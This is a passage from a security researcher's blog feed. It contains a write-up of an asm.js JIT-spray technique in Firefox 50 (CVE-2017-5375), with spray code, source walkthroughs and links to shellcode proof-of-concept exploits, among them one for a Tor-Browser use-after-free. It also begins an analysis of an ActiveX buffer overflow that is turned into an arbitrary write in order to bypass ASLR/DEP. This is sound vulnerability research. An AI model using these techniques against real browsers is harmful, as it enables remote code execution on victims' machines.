</pre></td><td class='code'><pre><code class='JavaScript'><span class='line'><span class="kd">function</span> <span class="nx">asm_js_module</span><span class="p">(){</span>
</span><span class='line'>    <span class="s2">&quot;use asm&quot;</span>
</span><span class='line'>    <span class="kd">function</span> <span class="nx">asm_js_function</span><span class="p">(){</span>
</span><span class='line'>        <span class="cm">/* attacker controlled asm.js code */</span>
</span><span class='line'>    <span class="p">}</span>
</span><span class='line'>    <span class="k">return</span> <span class="nx">asm_js_function</span>
</span><span class='line'><span class="p">}</span>
</span><span class='line'><span class="nx">modules</span> <span class="o">=</span> <span class="p">[]</span>
</span><span class='line'><span class="cm">/* create 0x1000 executable regions containing our code */</span>
</span><span class='line'><span class="k">for</span> <span class="p">(</span><span class="nx">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="nx">i</span><span class="o">&lt;=</span><span class="mh">0x1000</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">){</span>
</span><span class='line'>    <span class="nx">modules</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">=</span> <span class="nx">asm_js_module</span><span class="p">()</span> <span class="c1">// request asm.js module</span>
</span><span class='line'><span class="p">}</span>
</span></code></pre></td></tr></table></div></figure>


<p>Technically, ASM.JS is an <em>ahead-of-time (AOT)</em> compiler and not a <em>just-in-time (JIT)</em> compiler.
Hence, the function <span class="inlineCode">asm_js_function()</span> doesn&rsquo;t need to be called to get your
machine code injected into memory at predictable addresses. It is sufficient to load a web page containing the ASM.JS script.</p>

<p><br></p>

<h2>The Flaw</h2>

<p><a name="the_bug"></a>
Each time an ASM.JS module is requested, <span class="inlineCode">CodeSegment::create()</span> is called
which in turn calls <span class="inlineCode">AllocateCodeSegment()</span> in
<em>firefox-50.1.0/js/src/asmjs/WasmCode.cpp</em> line #206 (based on the source of
<a href=https://ftp.mozilla.org/pub/firefox/releases/50.1.0/source/firefox-50.1.0.source.tar.xz target="_blank">Firefox 50.1.0</a>):</p>

<figure class='code'><figcaption><span>firefox-50.1.0/js/src/asmjs/WasmCode.cpp (CodeSegment::create)</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
</pre></td><td class='code'><pre><code class='C'><span class='line'><span class="mi">191</span> <span class="cm">/* static */</span> <span class="n">UniqueCodeSegment</span>
</span><span class='line'><span class="mi">192</span> <span class="n">CodeSegment</span><span class="o">::</span><span class="n">create</span><span class="p">(</span><span class="n">JSContext</span><span class="o">*</span> <span class="n">cx</span><span class="p">,</span>
</span><span class='line'><span class="mi">193</span>                     <span class="k">const</span> <span class="n">Bytes</span><span class="o">&amp;</span> <span class="n">bytecode</span><span class="p">,</span>
</span><span class='line'><span class="mi">194</span>                     <span class="k">const</span> <span class="n">LinkData</span><span class="o">&amp;</span> <span class="n">linkData</span><span class="p">,</span>
</span><span class='line'><span class="mi">195</span>                     <span class="k">const</span> <span class="n">Metadata</span><span class="o">&amp;</span> <span class="n">metadata</span><span class="p">,</span>
</span><span class='line'><span class="mi">196</span>                     <span class="n">HandleWasmMemoryObject</span> <span class="n">memory</span><span class="p">)</span>
</span><span class='line'><span class="mi">197</span> <span class="p">{</span>
</span><span class='line'><span class="mi">198</span>     <span class="n">MOZ_ASSERT</span><span class="p">(</span><span class="n">bytecode</span><span class="p">.</span><span class="n">length</span><span class="p">()</span> <span class="o">%</span> <span class="n">gc</span><span class="o">::</span><span class="n">SystemPageSize</span><span class="p">()</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span><span class='line'><span class="mi">199</span>     <span class="nf">MOZ_ASSERT</span><span class="p">(</span><span class="n">linkData</span><span class="p">.</span><span class="n">globalDataLength</span> <span class="o">%</span> <span class="n">gc</span><span class="o">::</span><span class="n">SystemPageSize</span><span class="p">()</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span><span class='line'><span class="mi">200</span>     <span class="nf">MOZ_ASSERT</span><span class="p">(</span><span class="n">linkData</span><span class="p">.</span><span class="n">functionCodeLength</span> <span class="o">&lt;</span> <span class="n">bytecode</span><span class="p">.</span><span class="n">length</span><span class="p">());</span>
</span><span class='line'><span class="mi">201</span>
</span><span class='line'><span class="mi">202</span>     <span class="k">auto</span> <span class="n">cs</span> <span class="o">=</span> <span class="n">cx</span><span class="o">-&gt;</span><span class="n">make_unique</span><span class="o">&lt;</span><span class="n">CodeSegment</span><span class="o">&gt;</span><span class="p">();</span>
</span><span class='line'><span class="mi">203</span>     <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">cs</span><span class="p">)</span>
</span><span class='line'><span class="mi">204</span>         <span class="k">return</span> <span class="n">nullptr</span><span class="p">;</span>
</span><span class='line'><span class="mi">205</span>
</span><span class='line'><span class="mi">206</span>     <span class="n">cs</span><span class="o">-&gt;</span><span class="n">bytes_</span> <span class="o">=</span> <span class="n">AllocateCodeSegment</span><span class="p">(</span><span class="n">cx</span><span class="p">,</span> <span class="n">bytecode</span><span class="p">.</span><span class="n">length</span><span class="p">()</span> <span class="o">+</span> <span class="n">linkData</span><span class="p">.</span><span class="n">globalDataLength</span><span class="p">);</span>
</span></code></pre></td></tr></table></div></figure>


<p><span class="inlineCode">AllocateCodeSegment()</span> further calls <span class="inlineCode">AllocateExecutableMemory()</span> in line #67:</p>

<figure class='code'><figcaption><span>firefox-50.1.0/js/src/asmjs/WasmCode.cpp (AllocateCodeSegment)</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
</pre></td><td class='code'><pre><code class='C'><span class='line'><span class="mi">58</span> <span class="n">AllocateCodeSegment</span><span class="p">(</span><span class="n">ExclusiveContext</span><span class="o">*</span> <span class="n">cx</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">totalLength</span><span class="p">)</span>
</span><span class='line'><span class="mi">59</span> <span class="p">{</span>
</span><span class='line'><span class="mi">60</span>     <span class="k">if</span> <span class="p">(</span><span class="n">wasmCodeAllocations</span> <span class="o">&gt;=</span> <span class="n">MaxWasmCodeAllocations</span><span class="p">)</span>
</span><span class='line'><span class="mi">61</span>         <span class="k">return</span> <span class="n">nullptr</span><span class="p">;</span>
</span><span class='line'><span class="mi">62</span>
</span><span class='line'><span class="mi">63</span>     <span class="c1">// Allocate RW memory. DynamicallyLinkModule will reprotect the code as RX.</span>
</span><span class='line'><span class="mi">64</span>     <span class="kt">unsigned</span> <span class="n">permissions</span> <span class="o">=</span>
</span><span class='line'><span class="mi">65</span>         <span class="n">ExecutableAllocator</span><span class="o">::</span><span class="n">initialProtectionFlags</span><span class="p">(</span><span class="n">ExecutableAllocator</span><span class="o">::</span><span class="n">Writable</span><span class="p">);</span>
</span><span class='line'><span class="mi">66</span>
</span><span class='line'><span class="mi">67</span>     <span class="kt">void</span><span class="o">*</span> <span class="n">p</span> <span class="o">=</span> <span class="n">AllocateExecutableMemory</span><span class="p">(</span><span class="n">nullptr</span><span class="p">,</span> <span class="n">totalLength</span><span class="p">,</span> <span class="n">permissions</span><span class="p">,</span>
</span><span class='line'><span class="mi">68</span>                                        <span class="s">&quot;wasm-code-segment&quot;</span><span class="p">,</span> <span class="n">gc</span><span class="o">::</span><span class="n">SystemPageSize</span><span class="p">());</span>
</span></code></pre></td></tr></table></div></figure>


<p>Finally, <span class="inlineCode">AllocateExecutableMemory()</span> invokes <span class="inlineCode">VirtualAlloc()</span> which returns a
new RW (PAGE_READWRITE) region aligned to a 64KB boundary (<strong>0xXXXX0000</strong>) (<em>firefox-50.1.0/js/src/jit/ExecutableAllocatorWin.cpp</em>, line #190).</p>

<figure class='code'><figcaption><span>firefox-50.1.0/js/src/jit/ExecutableAllocatorWin.cpp (AllocateExecutableMemory)</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
</pre></td><td class='code'><pre><code class='C'><span class='line'><span class="mi">179</span> <span class="kt">void</span><span class="o">*</span>
</span><span class='line'><span class="mi">180</span> <span class="n">js</span><span class="o">::</span><span class="n">jit</span><span class="o">::</span><span class="n">AllocateExecutableMemory</span><span class="p">(</span><span class="kt">void</span><span class="o">*</span> <span class="n">addr</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">bytes</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="n">permissions</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span><span class="o">*</span> <span class="n">tag</span><span class="p">,</span>
</span><span class='line'><span class="mi">181</span>                                   <span class="kt">size_t</span> <span class="n">pageSize</span><span class="p">)</span>
</span><span class='line'><span class="mi">182</span> <span class="p">{</span>
</span><span class='line'><span class="mi">183</span>     <span class="n">MOZ_ASSERT</span><span class="p">(</span><span class="n">bytes</span> <span class="o">%</span> <span class="n">pageSize</span> <span class="o">==</span> <span class="mi">0</span><span class="p">);</span>
</span><span class='line'><span class="mi">184</span>
</span><span class='line'><span class="mi">185</span> <span class="err">#</span><span class="n">ifdef</span> <span class="n">JS_CPU_X64</span>
</span><span class='line'><span class="mi">186</span>     <span class="k">if</span> <span class="p">(</span><span class="n">sJitExceptionHandler</span><span class="p">)</span>
</span><span class='line'><span class="mi">187</span>         <span class="n">bytes</span> <span class="o">+=</span> <span class="n">pageSize</span><span class="p">;</span>
</span><span class='line'><span class="mi">188</span> <span class="err">#</span><span class="n">endif</span>
</span><span class='line'><span class="mi">189</span>
</span><span class='line'><span class="mi">190</span>     <span class="kt">void</span><span class="o">*</span> <span class="n">p</span> <span class="o">=</span> <span class="n">VirtualAlloc</span><span class="p">(</span><span class="n">addr</span><span class="p">,</span> <span class="n">bytes</span><span class="p">,</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">permissions</span><span class="p">);</span>
</span></code></pre></td></tr></table></div></figure>


<p>If we set a breakpoint on <span class="inlineCode">VirtualAlloc()</span> in WinDbg, we get the following call stack during runtime (Firefox 50.1.0):</p>

<figure class='code'><figcaption><span>Stack trace in WinDbg</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
<span class='line-number'>8</span>
<span class='line-number'>9</span>
<span class='line-number'>10</span>
<span class='line-number'>11</span>
<span class='line-number'>12</span>
<span class='line-number'>13</span>
<span class='line-number'>14</span>
<span class='line-number'>15</span>
<span class='line-number'>16</span>
<span class='line-number'>17</span>
<span class='line-number'>18</span>
<span class='line-number'>19</span>
<span class='line-number'>20</span>
<span class='line-number'>21</span>
<span class='line-number'>22</span>
<span class='line-number'>23</span>
<span class='line-number'>24</span>
<span class='line-number'>25</span>
<span class='line-number'>26</span>
<span class='line-number'>27</span>
<span class='line-number'>28</span>
<span class='line-number'>29</span>
<span class='line-number'>30</span>
<span class='line-number'>31</span>
<span class='line-number'>32</span>
</pre></td><td class='code'><pre><code class=''><span class='line'>0:000&gt; kP a
</span><span class='line'> # ChildEBP RetAddr  
</span><span class='line'>00 008fe060 670ef66e KERNEL32!VirtualAllocStub
</span><span class='line'>01 (Inline) -------- xul!js::jit::AllocateExecutableMemory+0x10 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\jit\executableallocatorwin.cpp @ 190]
</span><span class='line'>02 008fe078 670f65c7 xul!AllocateCodeSegment(
</span><span class='line'>            class js::ExclusiveContext * cx = 0x04516000, 
</span><span class='line'>            unsigned int totalLength = &lt;Value unavailable error&gt;)+0x23 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\asmjs\wasmcode.cpp @ 67]
</span><span class='line'>03 008fe0b8 670de070 xul!js::wasm::CodeSegment::create(
</span><span class='line'>            struct JSContext * cx = 0x04516000, 
</span><span class='line'>            class mozilla::Vector&lt;unsigned char,0,js::SystemAllocPolicy&gt; * bytecode = 0x08c61008, 
</span><span class='line'>            struct js::wasm::LinkData * linkData = 0x08c61020, 
</span><span class='line'>            struct js::wasm::Metadata * metadata = 0x06ab68d0, 
</span><span class='line'>            class JS::Handle&lt;js::WasmMemoryObject *&gt; memory = class JS::Handle&lt;js::WasmMemoryObject *&gt;)+0x67 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\asmjs\wasmcode.cpp @ 206]
</span><span class='line'>04 008fe184 6705f99d xul!js::wasm::Module::instantiate(
</span><span class='line'>            struct JSContext * cx = 0x04516000, 
</span><span class='line'>            class JS::Handle&lt;JS::GCVector&lt;JSFunction *,0,js::TempAllocPolicy&gt; &gt; funcImports = class JS::Handle&lt;JS::GCVector&lt;JSFunction *,0,js::TempAllocPolicy&gt; &gt;, 
</span><span class='line'>            class JS::Handle&lt;js::WasmTableObject *&gt; tableImport = class JS::Handle&lt;js::WasmTableObject *&gt;, 
</span><span class='line'>            class JS::Handle&lt;js::WasmMemoryObject *&gt; memoryImport = class JS::Handle&lt;js::WasmMemoryObject *&gt;, 
</span><span class='line'>            class mozilla::Vector&lt;js::wasm::Val,0,js::SystemAllocPolicy&gt; * globalImports = 0x008fe200, 
</span><span class='line'>            class JS::Handle&lt;JSObject *&gt; instanceProto = class JS::Handle&lt;JSObject *&gt;, 
</span><span class='line'>            class JS::MutableHandle&lt;js::WasmInstanceObject *&gt; instanceObj = class JS::MutableHandle&lt;js::WasmInstanceObject *&gt;)+0x94 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\asmjs\wasmmodule.cpp @ 689]
</span><span class='line'>05 008fe260 6705aae6 xul!TryInstantiate(
</span><span class='line'>            struct JSContext * cx = 0x04516000, 
</span><span class='line'>            class JS::CallArgs args = class JS::CallArgs, 
</span><span class='line'>            class js::wasm::Module * module = 0x08c61000, 
</span><span class='line'>            struct js::AsmJSMetadata * metadata = 0x06ab68d0, 
</span><span class='line'>            class JS::MutableHandle&lt;js::WasmInstanceObject *&gt; instanceObj = class JS::MutableHandle&lt;js::WasmInstanceObject *&gt;, 
</span><span class='line'>            class JS::MutableHandle&lt;JSObject *&gt; exportObj = class JS::MutableHandle&lt;JSObject *&gt;)+0x1e6 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\asmjs\asmjs.cpp @ 7894]
</span><span class='line'>06 008fe2c4 35713638 xul!InstantiateAsmJS(
</span><span class='line'>            struct JSContext * cx = 0x04516000, 
</span><span class='line'>            unsigned int argc = 0, 
</span><span class='line'>            class JS::Value * vp = 0x008fe2f0)+0x88 [c:\builds\moz2_slave\m-rel-w32-00000000000000000000\build\src\js\src\asmjs\asmjs.cpp @ 8008]</span></code></pre></td></tr></table></div></figure>


<p>After returning into method <span class="inlineCode">CodeSegment::create()</span>, the ASM.JS compiled/native code is copied to the RW region
(<em>firefox-50.1.0/js/src/asmjs/WasmCode.cpp</em>, line #223). And in line #229 the RW region is made executable (PAGE_EXECUTE_READ) with
<span class="inlineCode">ExecutableAllocator::makeExecutable()</span> invoking <span class="inlineCode">VirtualProtect()</span>.</p>

<figure class='code'><figcaption><span>firefox-50.1.0/js/src/asmjs/WasmCode.cpp making ASM.JS code executable (in CodeSegment::create)</span></figcaption><div class="highlight"><table><tr><td class="gutter"><pre class="line-numbers"><span class='line-number'>1</span>
<span class='line-number'>2</span>
<span class='line-number'>3</span>
<span class='line-number'>4</span>
<span class='line-number'>5</span>
<span class='line-number'>6</span>
<span class='line-number'>7</span>
</pre></td><td class='code'><pre><code class='C'><span class='line'><span class="mi">223</span>         <span class="nf">memcpy</span><span class="p">(</span><span class="n">cs</span><span class="o">-&gt;</span><span class="n">code</span><span class="p">(),</span> <span class="n">bytecode</span><span class="p">.</span><span class="n">begin</span><span class="p">(),</span> <span class="n">bytecode</span><span class="p">.</span><span class="n">length</span><span class="p">());</span>
</span><span class='line'><span class="mi">224</span>         <span class="nf">StaticallyLink</span><span class="p">(</span><span class="o">*</span><span class="n">cs</span><span class="p">,</span> <span class="n">linkData</span><span class="p">,</span> <span class="n">cx</span><span class="p">);</span>
</span><span class='line'><span class="mi">225</span>         <span class="nf">if</span> <span class="p">(</span><span class="n">memory</span><span class="p">)</span>
</span><span class='line'><span class="mi">226</span>             <span class="n">SpecializeToMemory</span><span class="p">(</span><span class="o">*</span><span class="n">cs</span><span class="p">,</span> <span class="n">metadata</span><span class="p">,</span> <span class="n">memory</span><span class="p">);</span>
</span><span class='line'><span class="mi">227</span>     <span class="p">}</span>
</span><span class='line'><span class="mi">228</span>
</span><span class='line'><span class="mi">229</span>     <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">ExecutableAllocator</span><span class="o">::</span><span class="n">makeExecutable</span><span class="p">(</span><span class="n">cs</span><span class="o">-&gt;</span><span class="n">code</span><span class="p">(),</span> <span class="n">cs</span><span class="o">-&gt;</span><span class="n">codeLength</span><span class="p">()))</span> <span class="p">{</span>
</span></code></pre></td></tr></table></div></figure>


<p><br>
Requesting one ASM.JS module many times leads to the creation of many RX regions.
Due to the allocation granularity of VirtualAlloc (64KB) we can then choose a
fixed address (such as <strong>0x1c1c0000</strong>) and can be certain that the
emitted machine code is located there (containing our hidden payload).</p>

<p>The astute reader might have noticed that constant blinding is missing
and allows to emit ASM.JS constants as x86 code in the first place.</p>

<p><br></p>

<h2>Show me a PoC!</h2>

<p>Let&rsquo;s see how a <a
href="https://github.com/rh0dev/expdev/blob/master/CVE-2017-5375_ASM.JS_JIT-Spray/WinExec_cmd_Firefox_50.1.0.html"
target="_blank">proof of concept</a> looks in practice: we hide our payload
within ASM.JS constants and request the ASM.JS module many times. Hence, we
spray many executable code regions to occupy predictable addresses.</p>

<p>The payload consists of two parts:</p>

<ol>
<li>Very large NOP-sled (line <a href="https://github.com/rh0dev/expdev/blob/master/CVE-2017-5375_ASM.JS_JIT-Spray/WinExec_cmd_Firefox_50.1.0.html#L35" target="_blank">#35 to #74</a>):
to hit it, we can choose a predictable address, such as <strong>0x1c1c0053</strong>, and set EIP to it.</li>
<li>Shellcode (line <a href="https://github.com/rh0dev/expdev/blob/master/CVE-2017-5375_ASM.JS_JIT-Spray/WinExec_cmd_Firefox_50.1.0.html#L75" target="_blank">#75 to #152</a>):
it resolves <span class="inlineCode">kernel32!WinExec()</span>and executes <em>cmd.exe</em>.</li>
</ol>


<p>The payload strictly contains at most three-byte long instructions excepts
<strong>MOV</strong>s, which are handled differently. It was automatically generated by a
custom transformation tool <em>shellcode2asmjs</em> which uses the <em>Nasm</em> assembler and <em>Distorm3</em>
disassembler. The payload is strongly inspired by <a
href="https://dl.packetstormsecurity.net/papers/shellcode/Writing-JIT-Spray-Shellcode.pdf" target="_blank">Writing JIT-Spray-Shellcode</a>.</p>

<p>As no memory corruption is abused in this PoC, you have to set EIP in your
favorite debugger when you are prompted to ;)</p>

<p><br></p>

<h2>Exploiting a former Tor-Browser 0day with ASM.JS JIT-Spray</h2>

<p>Let&rsquo;s take a real memory corruption (<a
href="https://www.mozilla.org/en-US/security/advisories/mfsa2016-92/" target="_blank">CVE-2016-9079</a>) and
see how super easy exploitation becomes when using ASM.JS JIT-Spray. This
use-after-free has been analyzed thoroughly, so most of the hard work to write a
custom exploit was already done. Note: We target Firefox <strong>50.0.1</strong> and <em>not</em> <strong>50.1.0</strong> as above.</p>

<p>Despite JIT-Spraying executable regions, following steps are conducted:</p>

<ul>
<li>We use the bug-trigger from the <a
href="https://bugzilla.mozilla.org/show_bug.cgi?id=1321066" target="_blank">bug report</a>
(line <a href="https://github.com/rh0dev/expdev/blob/master/CVE-2017-5375_ASM.JS_JIT-Spray/CVE-2016-9079_Firefox_50.0.1_DEP_ASLR_Bypass.html#L296" target="_blank">#296 to #372</a>).</li>
<li>We heap-spray a fake object (line <a href="https://github.com/rh0dev/expdev/blob/master/CVE-2017-5375_ASM.JS_JIT-Spray/CVE-2016-9079_Firefox_50.0.1_DEP_ASLR_Bypass.html#L258" target="_blank">#258 to #281</a>).</li>
<li>During runtime, the chosen values in our fake object drive the execution to a program path with an indirect call.
There, EIP is set with the address of one JIT-Sprayed region (<strong>0x1c1c0054</strong>).</li>
<li>As soon as the bug is triggered, the JIT-sprayed payload is executed and
cmd.exe should pop up.</li>
</ul>


<p>That&rsquo;s all. The full <a
href="https://github.com/rh0dev/expdev/blob/master/CVE-2017-5375_ASM.JS_JIT-Spray/CVE-2016-9079_Firefox_50.0.1_DEP_ASLR_Bypass.html" target="_blank">exploit</a>
targets Mozilla Firefox 50.0.1, and we don&rsquo;t need any information-leaks and
code-reuse. Note that the Tor-Browser has ASM.JS disabled by default, and hence,
ASM.JS JIT-Spray won&rsquo;t work unless the user enables it.</p>

<p>I wonder if Endgames <a href="https://www.endgame.com/blog/technical-blog/another-0day-another-prevention" target="_blank">HA-CFI</a> catches this exploit?</p>

<p><br></p>

<h2>Dynamic Payloads</h2>

<p>Above exploits contain &ldquo;hardcoded&rdquo; payloads within constants. That makes it kind
of cumbersome to use different shellcodes. However, we can generate ASM.JS scripts
on the fly and invoke them during runtime. A <a
href="https://github.com/rh0dev/expdev/blob/master/CVE-2017-5375_ASM.JS_JIT-Spray/WinExec_cmd_Firefox_50.1.0_dynamic.html" target="_blank">PoC</a>
where payloads are exchangeable uses the following:</p>

<ul>
<li>JavaScript code creates ASM.JS script-code dynamically. The ASM.JS script is
included with the Blob JavaScript API (line <a href="https://github.com/rh0dev/expdev/blob/master/CVE-2017-5375_ASM.JS_JIT-Spray/WinExec_cmd_Firefox_50.1.0_dynamic.html#L88" target="_blank">#88 to #137</a>).</li>
<li>A custom VirtualAlloc stage0. It allocates RWX pages and copies the actual
stage1 payload (i.e. metasploit shellcode) to it. Afterwards, stage0
jumps to stage1 (line <a href="https://github.com/rh0dev/expdev/blob/master/CVE-2017-5375_ASM.JS_JIT-Spray/WinExec_cmd_Firefox_50.1.0_dynamic.html#L53" target="_blank">#53 to #69</a>).</li>
</ul>


<p>This way, you can replace the payload with your favorite shellcode of choice
(line <a href="https://github.com/rh0dev/expdev/blob/master/CVE-2017-5375_ASM.JS_JIT-Spray/WinExec_cmd_Firefox_50.1.0_dynamic.html#L33" target="_blank">#33</a>).
The PoC and especially the stage0 payload were also auto-generated with the custom
<em>shellcode2asmjs</em> tool.</p>

<p><br></p>

<h2>The Incomplete Fix</h2>

<p>Mozilla fixed this issue in <a href="https://www.mozilla.org/en-US/security/advisories/mfsa2017-01/" target="_blank">Firefox 51</a> on Jan. 24, 2017. However, the fix can be bypassed which resulted in
<a href="https://www.mozilla.org/en-US/security/advisories/mfsa2017-05/#CVE-2017-5400" target="_blank">CVE-2017-5400</a>. This will be explained in part 2.</p>
]]></content>
    
  </entry>
  
  <entry>
    
    <title type="html"><![CDATA[Fun With Info-Leaks]]></title>
    <link href="https://rh0dev.github.io//blog/2015/fun-with-info-leaks/"/>
    
    <updated>2015-01-30T20:16:31+01:00</updated>
    <id>https://rh0dev.github.io//blog/2015/fun-with-info-leaks</id>
    
    <content type="html"><![CDATA[<p>This article is about information leaks in form of memory disclosures created in
Internet Explorer 10 32-bit on Windows 7 64-bit. They are used to bypass full ASLR/DEP to
gain remote code execution. While the software containing the bug might not be
that popular, it&rsquo;s quite nice what can be done with the bug.</p>

<p>Reading this article requires some familiarity with
<a href=http://msdn.microsoft.com/en-us/windows/hardware/hh852365.aspx target=_blank>WinDbg</a>,
<a href="https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/" target=_blank>heap</a>
<a href="https://www.corelan.be/index.php/2013/02/19/deps-precise-heap-spray-on-firefox-and-ie10/" target="_blank">spray</a>
 , and
<a href="https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf" target="_blank">info-leaks</a>.</p>

<p>Hope you enjoy it.</p>

<!-- more -->


<p><br></p>

<h2>The Bug</h2>

<p>I discovered a vulnerability in an ActiveX Control with the rather
oldscool tool
<a href="http://www.woodmann.com/collaborative/tools/index.php/COMRaider" target="_blank">COMRaider</a>.
The ActiveX Control is a video plugin from
<a href="http://www.x360soft.com/demo/videoplayersetup.exe" target="_blank">X360 Software</a>.
 Let&rsquo;s take a look with
<a href="https://www.hex-rays.com/products/ida/support/download_freeware.shtml" target="_blank">IDA Free 5.0</a>
into it.</p>

<p>The vulnerability is a simple buffer overflow occuring in
the data section of the VideoPlayer.ocx module when using the plugin&rsquo;s exposed
<strong>SetText</strong> method (<strong>sub_10002930</strong>). By supplying a string to that method, the
code at <strong>.text:1000298A</strong> and <strong>.text:10002991</strong> copies our string to a variable
in the data section at <strong>.data:100916A8</strong> without bound checks:</p>

<p><a href="https://rh0dev.github.io//images/FWL0.png"><img class="center" src="https://rh0dev.github.io//images/FWL0.png" title="vulnerable code shown in IDA" ></a></p>

<p><br></p>

<h2>From Data Buffer Overflow to Arbitrary Write</h2>

<p>While there are no immediate
control flow pointers like on the stack, maybe other pointers can be overwritten
to achieve interesting things towards program manipulation and remote code
execution. Exploitation on Windows XP may seem straightforward due to the
absence of ASLR, but what if we want to target some Internet Explorer on Windows 7
or 8? At the end I decided to take that route.</p>

<p>To bypass ASLR, we need an
information leak in order to disclose some interesting memory usable for further
steps.  After some experimentation with calling the <strong>SetText</strong> method and calling
other plugin methods subsequently, some pointers catched my attention.</p>

<p>For example, the content at address <strong>.data:10092068</strong> can be controlled via our
buffer overflow. This pointer is used in <a href="#sub_10058BAA"><strong>sub_10058BAA</strong></a> which in turn is executed when the plugin&rsquo;s
exposed <strong>SetFontName</strong> method is dispatched.</p>

<p>When we call <strong>SetFontName</strong> with a string of size smaller or equal to 0x40 the following happens:</p>

<h3>1. A function goes evil</h3>

<p>We hit the function <strong>sub_10058DAB</strong> which retrieves the string&rsquo;s length and
calls <strong>sub_10058BAA</strong> with the length as 1st argument:</p>

<p><a name=sub_10058DAB></a>
<a href="https://rh0dev.github.io//images/FWL1.png"><img class="center" src="https://rh0dev.github.io//images/FWL1.png" title="Function called from SetFontName" ></a></p>

<p><br></p>

<h3>2. Use of controlled content</h3>

<p> In function <strong>sub_10058BAA</strong> the address
  <strong>.data:10092068</strong> of our controlled content is moved to <strong>ECX</strong> at <strong>.text:10058BC7</strong> and
  function <strong>sub_1000F775</strong> is called. As the address is passed via <strong>ECX</strong> to the function, it
  most likely holds an object&rsquo;s <a href="http://msdn.microsoft.com/en-us/library/ek8tkfbw.aspx" target="_blank"><em>this</em> pointer</a>:</p>

<p><a name=sub_10058BAA></a>
<a href="https://rh0dev.github.io//images/FWL2.png"><img class="center" src="https://rh0dev.github.io//images/FWL2.png" title="Getting controlled content" ></a></p>

<p> In <strong>sub_1000F775</strong> the object pointer is moved into <strong>ESI</strong> (<strong>.text:1000F784</strong>).
  The object&rsquo;s 4th DWORD <strong>[ESI+0xC]</strong> (which we control) is compared to 0, and when it is
  not 0, program flow continues at <strong>.text:1000F7CE</strong>. Afterwards, the 4th DWORD is
  moved to <strong>EAX</strong> and the function returns. So we now control the return value
  passed in <strong>EAX</strong>:</p>

<p><a href="https://rh0dev.github.io//images/FWL3.png"><img class="center" src="https://rh0dev.github.io//images/FWL3.png" title="Control of EAX" ></a></p>

<p>We return into <strong>sub_10058BAA</strong> from <strong>sub_10058DAB</strong> and we control <strong>EAX</strong>. Thus, we can already
control <em>WHERE</em> we want to write, but not really <em>WHAT</em> we want to write.
Our controlled value is used as pointer and the values 0x40, 0x1, 0x0 and the
string length are written. Also, the controlled value is increased by
0xC and then written to memory pointed to by <strong>EBX</strong>:</p>

<p><a href="https://rh0dev.github.io//images/FWL4.png"><img class="center" src="https://rh0dev.github.io//images/FWL4.png" title="Controlled where-write" ></a></p>

<p>This might be already enough to overwrite the
<a href="http://www.vupen.com/blog/20120710.Advanced_Exploitation_of_Internet_Explorer_HeapOv_CVE-2012-1876.php"
target="_blank">length of a BSTR</a>
JavaScript string or a
<a
href="https://github.com/tombkeeper/Talks/raw/master/CanSecWest_2014/ROPs_are_for_the_99%25_%5BCSW2014%5D.pdf"
target=_blank>length field </a>of an array
to create an Info-Leak. During runtime <strong>ESI</strong> holds the same address as
<strong>EBX</strong>. So we also control <strong>[ESI]</strong>, and gain control over the destination
argument of a memcpy when we
return into <a href="#sub_10058DAB"><strong>sub_10058DAB</strong></a> from <strong>sub_10058BAA</strong>.</p>

<p><br></p>

<h3>3. Write-what-where</h3>

<p>Back in <strong>sub_10058DAB</strong>, the string length in <strong>EDI</strong> is pushed as 3rd argument, the string
pointer in <strong>EBX</strong> as 2nd, and our controlled value in <strong>[ESI]</strong> as 1st argument before
<strong>_memcpy</strong> is called:</p>

<p><a href="https://rh0dev.github.io//images/FWL5.png"><img class="center" src="https://rh0dev.github.io//images/FWL5.png" title="Abuse memcpy" ></a></p>

